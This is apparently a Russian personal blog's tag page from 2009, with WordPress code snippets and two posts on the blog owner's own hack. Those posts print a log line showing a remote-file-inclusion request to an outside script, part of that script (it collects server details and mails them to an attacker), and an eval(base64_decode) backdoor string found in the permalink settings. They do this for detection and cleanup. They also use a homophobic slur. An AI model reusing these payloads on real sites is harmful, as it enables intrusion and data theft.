Тег «wordpress»

Шоткоды для Вордпресса

16 Сен 2009 admin | Ваш отзыв | Рубрика Полезности

w3Продолжаю тему шорткодов для WordPress-а

(шоткод – это улучшение движка).

Шоткод для отключения автоматического форматирования нужной части текста.
вставляем в functions.php следующий код:

function my_formatter($content) {
$new_content = »;
$pattern_full = ‘{(\[raw\].*?\[/raw\])}is’;
$pattern_contents = ‘{\[raw\](.*?)\[/raw\]}is’;
$pieces = preg_split($pattern_full, $content, -1, PREG_SPLIT_DELIM_CAPTURE);

foreach ($pieces as $piece) {
if (preg_match($pattern_contents, $piece, $matches)) {
$new_content .= $matches[1];
} else {
$new_content .= wptexturize(wpautop($piece));
}
}

return $new_content;
}

remove_filter(‘the_content’, ‘wpautop’);
remove_filter(‘the_content’, ‘wptexturize’);

add_filter(‘the_content’, ‘my_formatter’, 99);

К примеру, текст [raw]Unformatted code[/raw]
не будет автоматически форматироваться

Отображение разделов (категорий) в две колонки:

<?php
$cats = explode(«<br />»,wp_list_categories(‘title_li=&echo=0&depth=1&style=none’));
$cat_n = count($cats) – 1;
for ($i=0;$i<$cat_n;$i++):
if ($i<$cat_n/2):
$cat_left = $cat_left.’<li>’.$cats[$i].’</li>’;
elseif ($i>=$cat_n/2):
$cat_right = $cat_right.’<li>’.$cats[$i].’</li>’;
endif;
endfor;
?>
<ul>
<?php echo $cat_left;?>
</ul>
<ul>
<?php echo $cat_right;?>
</ul>

Теги:

Шоткоды для Вордпресса

16 Сен 2009 admin | Ваш отзыв | Рубрика Полезности

w2В продолжение темы шоткодов.

Функция для подсчета количества слов в посте:

вставляем в functions.php следующий код:

function wcount(){
ob_start();
the_content();
$content = ob_get_clean();
return sizeof(explode(» «, $content));
}
Вызывается функция так:
PHP код:
<?php echo wcount(); ?>

Отображаем таги для определенной категории(весьма удобная весчь)

вставляем код в нужное место:

<?php
query_posts(‘category_name=НАЗВАНИЕ КАТЕГОРИИ’);
if (have_posts()) : while (have_posts()) : the_post();
$posttags = get_the_tags();
if ($posttags) {
foreach($posttags as $tag) {
$all_tags_arr[] = $tag -> name;
}
}
endwhile; endif;

$tags_arr = array_unique($all_tags_arr);
echo ‘<pre>’.print_r($tags_arr, true).’</pre>’;

?>

Теги:

Шорткоды для Вордпресса

16 Сен 2009 admin | Ваш отзыв | Рубрика Полезности

w1Шорткод – это небольшая функция/улучшение/дополнение для вордпресса, которая позволяет либо расширить стандартный функционал, либо добавить новый, без написания плагина.

Отключение автосохранения постов в администраторском интерфейсе:
вставляем в functions.php следующий код:

function disableAutoSave(){
wp_deregister_script(‘autosave’);
}
add_action( ‘wp_print_scripts’, ‘disableAutoSave’ );

Автоматическая вставка картинок, используя имя файла (типа BB-кода)

вставляем в functions.php следующий код:

function image_shortcode($atts, $content = null) {
extract( shortcode_atts( array(
‘name’ => »,
‘align’ => ‘right’,
‘ext’ => ‘png’,
‘path’ => ‘/wp-content/uploads/’,
‘url’ => »
), $atts ) );
$file=ABSPATH.»$path$name.$ext»;
if (file_exists($file)) {
$size=getimagesize($file);
if ($size!==false) $size=$size[3];
$output = «<img src=’».get_option(‘siteurl’).»$path$name.$ext’ alt=’$name’ $size align=’$align’ class=’align$align’ />»;
if ($url) $output = «<a href=’$url’ title=’$name’>».$output.’</a>’;
return $output;
}
else {
trigger_error(«‘$path$name.$ext’ image not found», E_USER_WARNING);
return »;
}
}
add_shortcode(‘image’,'image_shortcode’);

Теги:

Уродские азиатские хакеры

16 Сен 2009 admin | Ваш отзыв | Рубрика Ликбез

saigonНачинаю потихоньку распутывать клубок со взломом моего уютненького. В логах сервера значится:

GET /date/2008/08/page/2%20//components/com_facileforms/facileform.frame.php?ff_compath= http://www.sportsedu.net/zboard/data/writeskill/id.txt???

по адресу  http://www.sportsedu.net/zboard/data/writeskill/id.txt??? получаем скриптец вида

echo «k4l0nk<br>»;
$un = @php_uname();
$up = system(uptime);
$id1 = system(id);
$pwd1 = @getcwd();
$sof1 = getenv(«SERVER_SOFTWARE»);
$php1 = phpversion();
$name1 = $_SERVER['SERVER_NAME'];
$ip1 = gethostbyname($SERVER_ADDR);
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;

и в конце закодированный BASE64 скрипт:

$creator=base64_decode(«YmlnZy5iaWdnNkBnbWFpbC5jb20=»);
($safe_mode)?($safez=»ON»):($safez=»OFF_HEHE»);
$base=»http://».$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$name = php_uname(); $ip = getenv(«REMOTE_ADDR»); $ip2 = gethostbyaddr($_SERVER[REMOTE_ADDR]); $subj = $_SERVER['HTTP_HOST'];
$msg = «\nBASE: $base\nuname a: $name\nBypass: $bypasser\nIP: $ip\nHost: $ip2 $pwds»;
$from =»From: «.$writ.»___=».$safez.»";
mail( $creator, $subj, $msg, $from);

путем некоторых манипуляций, получаем email злоумышленника: bigg.bigg6.@gmail.com
обращение шло с айпа 202.172.170.33 (сингапур). Вот такие вот дела, камрады. Буду копать дальше, т.к. это возможно не все.

Теги: ,

Взлом блогов на вордпресс

16 Сен 2009 admin | Ваш отзыв | Рубрика Новости

hackerНайден баг в движке вордпресс, позволяющий любому пидорасу, считающему себя хаккером, получить права администратора. В частности, на этом блоге было обнаружено 2 таких «администратора». Как обнаружить: заходим в «Авторы и пользователи». Нам пишут Администраторы (XXX), где XXX – число юзеров, зареганых как админы. Если это число отличается в бОльшую сторону от того, сколько реальных администраторов, то труба- вас ломанули. Лечится сменой прав для пидораса и последующим обновлением движка до 2.8.4 и выше.Как пишут на вп-инфо.ру:

Обнаружить взломан Ваш блог или нет можно по выполнив следующие действия:
1) Проверить структуру ЧПУ (Админка – Параметры – Постоянные ссылки) на вредоносный код по типу:
/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}} – если он есть то убрать его. (восстановив прежний вид ЧПУ).

2) Проверить количество администраторов блога (Админка – Пользователи – вверху страницы строка со всеми пользователями и их количеством), убедиться что на блоге только ОДИН администратор. Если администраторов больше одного то нужно удалить лишних, при этом в списке пользователей их может быть не видно. Существует несколько способов найти и удалить лишних админов, но на мой взгляд самый точный и самый удобный воспользоваться phpMyAdmin.

Запрос который необходимо выполнить к базе данных блога выглядит вот так:

SELECT u.ID, u.user_login
FROM wp_users u, wp_usermeta um
WHERE u.ID = um.user_id
AND um.meta_key = ‘wp_capabilities’
AND um.meta_value LIKE ‘%administrator%’;

Далее просто выбираем лишних админов и удаляем их.

В общем, грустно это как-то, что такой мощный движок содержит такую дыру.

Теги: ,